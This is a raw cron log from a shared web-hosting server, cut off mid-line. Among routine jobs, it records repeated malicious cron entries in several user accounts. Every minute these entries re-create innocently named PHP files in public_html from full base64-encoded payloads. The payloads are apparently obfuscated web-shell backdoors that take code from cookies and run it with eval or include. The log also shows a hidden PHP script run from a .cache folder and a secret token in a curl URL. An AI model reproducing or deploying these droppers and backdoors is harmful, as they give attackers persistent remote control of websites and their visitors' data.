Mar  2 10:32:01 medusa CROND[4005]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:32:01 medusa CROND[4008]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:32:01 medusa CROND[4009]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:32:01 medusa CROND[4010]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:33:01 medusa CROND[20976]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:33:01 medusa CROND[21075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:33:01 medusa CROND[21076]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:33:01 medusa CROND[21077]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:33:01 medusa CROND[21078]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:33:01 medusa CROND[21079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:33:01 medusa CROND[21080]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:33:01 medusa CROND[21082]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:33:01 medusa CROND[21083]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:33:01 medusa CROND[21088]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:33:01 medusa CROND[21090]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:33:01 medusa CROND[21106]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:34:01 medusa CROND[10418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:34:01 medusa CROND[10633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:34:01 medusa CROND[10634]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:34:01 medusa CROND[10635]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:34:01 medusa CROND[10642]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:34:01 medusa CROND[10643]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:34:01 medusa CROND[10644]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:34:01 medusa CROND[10645]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:34:01 medusa CROND[10646]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:34:01 medusa CROND[10647]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:34:01 medusa CROND[10648]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:34:01 medusa CROND[10653]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6Om